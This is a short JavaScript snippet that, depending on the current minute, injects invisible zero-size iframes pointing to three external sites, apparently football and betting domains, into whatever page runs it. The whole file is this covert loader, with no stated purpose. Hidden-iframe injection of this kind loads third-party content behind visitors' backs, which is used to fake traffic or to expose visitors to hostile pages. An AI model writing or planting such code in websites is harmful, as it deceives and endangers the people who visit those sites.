var HostList = new Array();
HostList[0] = new Array("http://www.hkball.net",4);
HostList[1] = new Array("http://www.28goal.com",4);
HostList[2] = new Array("http://www.kick88.com",4);
var NowTime = new Date();
var dm = NowTime.getMinutes();
for(var i =0; i< HostList.length;i ++)
{
	if((dm % HostList[i][1]) == 0)
	{
		document.write("<iframe src='"+ HostList[i][0] +"' height='0' width='0'></iframe>");
	}
}